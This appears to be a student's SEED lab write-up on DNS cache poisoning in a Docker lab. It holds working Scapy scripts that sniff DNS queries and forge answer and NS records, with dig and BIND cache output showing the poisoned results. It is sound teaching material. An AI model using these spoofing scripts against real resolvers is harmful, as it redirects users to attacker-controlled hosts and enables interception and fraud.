DNS Cache Poisoning

Table of Contents

NOTE Assignment questions/instructions

Setup Test

We get the IP of `ns.attacker32.com` on querying for it, because the local DNS server has its IP address pre-defined in its configuration.

```
[03/27/23]seed@VM:~/.../Labsetup$ dockps
b2c80cc3e8bc  local-dns-server-10.9.0.53
0123b9ebf6a8  attacker-ns-10.9.0.153
8dbbb165cf8e  seed-attacker
904e05e91155  seed-router
e8db12e8b552  user-10.9.0.5
[03/27/23]seed@VM:~/.../Labsetup$ docksh e8
root@e8db12e8b552:/# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11520
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 8b94d64667c63cac010000006421e2619d9fc737cebcc2b1 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 407 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Mar 27 18:37:21 UTC 2023
;; MSG SIZE  rcvd: 90
```

Get the IP address of `ns.attacker32.com`

The local DNS server goes to the public internet and gets the IP address of `www.example.com`

```
root@e8db12e8b552:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22877
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: f3e93b5ba687d026010000006421e451408added47605bf6 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        86400   IN      A       93.184.216.34

;; Query time: 2100 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Mar 27 18:45:37 UTC 2023
;; MSG SIZE  rcvd: 88
```

Get the IP address of `www.example.com` using the local DNS server

The client first asks the local DNS server for the A record of `ns.attacker32.com` and then makes the requested DNS query directly to `ns.attacker32.com` at the IP the local DNS server sent.

```
root@e8db12e8b552:/# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26401
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 4afda0f60b6ec89d010000006421e47fed63deecf7cfcee1 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Mon Mar 27 18:46:23 UTC 2023
;; MSG SIZE  rcvd: 88
```

Get the IP address of `www.example.com` using the `ns.attacker32.com` DNS server

Task 1: Directly Spoofing Response to User

During the attack, the attacker is able to target requests between the client and the DNS server only and has to individually intercept every client's requests. The local DNS server's cache is not poisoned. In fact, the local DNS server has the correct answer, but the attacker responded first, so the DNS server's response was ignored by the client.

```
root@VM:/volumes# python3 dns-1.py
.
Sent 1 packets.
.
Sent 1 packets.
```

Attacker

```
root@e8db12e8b552:/# dig www.example.net

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44357
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        259200  IN      A       10.0.2.5

;; AUTHORITY SECTION:
example.net.            259200  IN      NS      ns1.example.net.
example.net.            259200  IN      NS      ns2.example.net.

;; ADDITIONAL SECTION:
ns1.example.net.        259200  IN      A       1.2.3.4
ns2.example.net.        259200  IN      A       5.6.7.8

;; Query time: 64 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Mar 27 19:54:59 UTC 2023
;; MSG SIZE  rcvd: 206
```

User receives poisoned response during attack

```
root@e8db12e8b552:/# dig www.example.net

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25712
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 8b0218af4c180935010000006421f4fb497f15e1afc90010 (good)
;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        86296   IN      A       93.184.216.34

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Mar 27 19:56:43 UTC 2023
;; MSG SIZE  rcvd: 88
```

User receives correct response after attack and local DNS server cache expiry/flush

Code:

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    if (DNS in pkt and "www.example.net" in pkt[DNS].qd.qname.decode("utf-8")):
        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type="A",ttl=259200,
rdata="10.0.2.5")

        # The Authority Section
        NSsec1 = DNSRR(rrname="example.net", type="NS",ttl=259200,
rdata="ns1.example.net")
        NSsec2 = DNSRR(rrname="example.net", type="NS",ttl=259200,
rdata="ns2.example.net")

        # The Additional Section
        Addsec1 = DNSRR(rrname="ns1.example.net", type="A", ttl=259200,
rdata="1.2.3.4")
        Addsec2 = DNSRR(rrname="ns2.example.net", type="A",ttl=259200,
rdata="5.6.7.8")
```

```
        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1, nscount=2, arcount=2,an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)

        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = "udp and dst port 53"
pkt = sniff(iface="br-5e48dfe2a4b3", filter=f, prn=spoof_dns)
```

Task 2: Directly Spoofing Response to User - Spoofing Answers

Instead of targeting the client and the local DNS server communication, the local DNS server's cache is poisoned, which leads to all clients automatically receiving the wrong response till the poisoned cache survives on the local DNS server.

```
root@VM:/volumes# python3 dns-2.py
.
Sent 1 packets.
```

Attacker

```
root@e8db12e8b552:/# dig www.example.net

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32939
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 6f5019b0ec382e31010000006421f90edfd9fbee18e20686 (good)
;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        259200  IN      A       10.0.2.5

;; Query time: 2011 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Mar 27 20:14:07 UTC 2023
;; MSG SIZE  rcvd: 88
```

User receives poisoned response during attack

```
root@b2c80cc3e8bc:/# cat /var/cache/bind/dump.db | grep www.example.net.
www.example.net.        863938  A       10.0.2.5
```

Local DNS server's poisoned cache during the attack

```
root@e8db12e8b552:/# dig www.example.net

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6549
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: eeef0134b8803fd9010000006421fa804af30b4db5e22dda (good)
;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        86400   IN      A       93.184.216.34

;; Query time: 2275 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Mar 27 20:20:17 UTC 2023
;; MSG SIZE  rcvd: 88
```

User receives correct response after attack and local DNS server cache expiry/flush

```
root@b2c80cc3e8bc:/# cat /var/cache/bind/dump.db | grep www.example.net.
www.example.net.        691178  A       93.184.216.34
```

Local DNS server's cache after attack and poisoned cache expiry/flush

Code:

The filter is modified to target the local DNS server's requests to the router (public internet).

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    if (DNS in pkt and "www.example.net" in pkt[DNS].qd.qname.decode("utf-8")):
        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type="A",ttl=259200,
rdata="10.0.2.5")
```

```
        # The Authority Section
        NSsec1 = DNSRR(rrname="example.net", type="NS",ttl=259200,
rdata="ns1.example.net")
        NSsec2 = DNSRR(rrname="example.net", type="NS",ttl=259200,
rdata="ns2.example.net")

        # The Additional Section
        Addsec1 = DNSRR(rrname="ns1.example.net", type="A", ttl=259200,
rdata="1.2.3.4")
        Addsec2 = DNSRR(rrname="ns2.example.net", type="A",ttl=259200,
rdata="5.6.7.8")

        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1, nscount=2, arcount=2,an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)

        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = "udp and src host 10.9.0.53 and src port 33333"
pkt = sniff(iface="br-5e48dfe2a4b3", filter=f, prn=spoof_dns)
```

Task 3: Spoofing NS Records

When the user makes the first request to the server, instead of just sending spoofed DNS Answer Sections, the attacker sends a spoofed Authority Section as well, so then it controls the entire `example.com` domain, rather than just `www.example.com` as in Task 1 and Task 2. When a request to `mail.example.com` is sent to the local DNS server after an initial `www.example.com` request which poisons the cache, the attacker's Nameserver is asked for the unknown answer to `mail.example.com` instead of the `ns1.example.com`, the actual Nameserver of `example.com`.

```
root@VM:/volumes# python3 dns-3.py
.
Sent 1 packets.
```

Attacker

```
root@0123b9ebf6a8:/etc/bind# cat zone_example.com
$TTL 3D
@       IN      SOA   ns.example.com. admin.example.com. (
                2008111001
                8H
                2H
                4W
                1D)

@       IN      NS    ns.attacker32.com.

@       IN      A     1.2.3.4
www     IN      A     1.2.3.5
ns      IN      A     10.9.0.153
*       IN      A     1.2.3.6
```

Attacker Nameserver

```
root@e8db12e8b552:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29876
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3d65ee3bc47b15cd0100000064220b1382ed0f77e13b1eca (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       10.0.2.5

;; Query time: 2368 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Mar 27 21:30:59 UTC 2023
;; MSG SIZE  rcvd: 88
```

Initial user request that poisons entire `example.com` domain

```
root@b2c80cc3e8bc:/# rndc dumpdb -cache
root@b2c80cc3e8bc:/# cat /var/cache/bind/dump.db | grep www.example.com.
www.example.com.        863927  A       10.0.2.5
root@b2c80cc3e8bc:/# cat /var/cache/bind/dump.db | grep ns.attacker32.com.
ns.attacker32.com.      615538  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 2419200 86400
example.com.            777526  NS      ns.attacker32.com.
; ns.attacker32.com [v4 TTL 1738] [v6 TTL 10738] [v4 success] [v6 nxrrset]
```

Local DNS server's poisoned cache (Note the spoofed NS record)

```
root@e8db12e8b552:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32630
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 9d4259542fac66a90100000064220b3e4d35f38763bbed4a (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 8 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Mar 27 21:31:42 UTC 2023
;; MSG SIZE  rcvd: 89
```

Subsequent user request that makes use of the poisoned `example.com` *NS record*

Code:

The NS records for `example.com` have been modified to the attacker controlled Nameserver.

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    if (DNS in pkt and "www.example.com" in pkt[DNS].qd.qname.decode("utf-8")):
        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # The Answer Section
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type="A",ttl=259200,
rdata="10.0.2.5")

        # The Authority Section
        NSsec1 = DNSRR(rrname="example.com", type="NS",ttl=259200,
rdata="ns.attacker32.com.")
        NSsec2 = DNSRR(rrname="example.com", type="NS",ttl=259200,
rdata="ns.attacker32.com.")

        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
```

```
ancount=1, nscount=2, arcount=0, an=Anssec, ns=NSsec1/NSsec2)

        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = "udp and src host 10.9.0.53 and src port 33333"
pkt = sniff(iface="br-5e48dfe2a4b3", filter=f, prn=spoof_dns)
```

Task 4: Spoofing NS Records for Another Domain

Even though the attacker sends `google.com` in the attack, the local DNS server does not cache it, as it is only concerned with the `example.com` domain.

```
root@VM:/volumes# python3 dns-4.py
.
Sent 1 packets.
```

Attacker

```
root@e8db12e8b552:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17716
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 70da09797e5c92720100000064220d58b98ead2c49ca9973 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       10.0.2.5

;; Query time: 1476 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Mar 27 21:40:40 UTC 2023
;; MSG SIZE  rcvd: 88
```

Initial user request to `www.example.com` that poisons the local DNS server's cache

```
root@e8db12e8b552:/# dig www.google.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21779
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 29d16af7d543e93601000000064220d7f75d3806b914281af (good)
;; QUESTION SECTION:
;www.google.com.                        IN      A

;; ANSWER SECTION:
www.google.com.         300     IN      A       142.251.32.100

;; Query time: 624 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Mar 27 21:41:19 UTC 2023
;; MSG SIZE  rcvd: 87
```

Subsequent user request to `www.google.com` *that gives the correct answer*

```
root@b2c80cc3e8bc:/# cat /var/cache/bind/dump.db | grep www.example.com.
www.example.com.        863987  A       10.0.2.5
root@b2c80cc3e8bc:/# cat /var/cache/bind/dump.db | grep ns.attacker32.com.
example.com.            777586  NS      ns.attacker32.com.
root@b2c80cc3e8bc:/# cat /var/cache/bind/dump.db | grep example.com.
example.com.            777586  NS      ns.attacker32.com.
www.example.com.        863987  A       10.0.2.5
root@b2c80cc3e8bc:/# cat /var/cache/bind/dump.db | grep google.com.
root@b2c80cc3e8bc:/# cat /var/cache/bind/dump.db | grep google.com
root@b2c80cc3e8bc:/#
```

Local DNS server's poisoned cache, that includes the `example.com` *domain, but not the* `google.com` *domain*

Code:

The NS record for `google.com` has been added.

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
    if (DNS in pkt and "www.example.com" in pkt[DNS].qd.qname.decode("utf-8")):
        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

        # The Answer Section
```

```
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type="A",ttl=259200,
rdata="10.0.2.5")

        # The Authority Section
        NSsec1 = DNSRR(rrname="example.com", type="NS",ttl=259200,
rdata="ns.attacker32.com.")
        NSsec2 = DNSRR(rrname="example.com", type="NS",ttl=259200,
rdata="ns.attacker32.com.")
        NSsec3 = DNSRR(rrname="google.com", type="NS",ttl=259200,
rdata="ns.attacker32.com.")

        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
ancount=1, nscount=2, arcount=0, an=Anssec, ns=NSsec1/NSsec2/NSsec3)

        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = "udp and src host 10.9.0.53 and src port 33333"
pkt = sniff(iface="br-5e48dfe2a4b3", filter=f, prn=spoof_dns)
```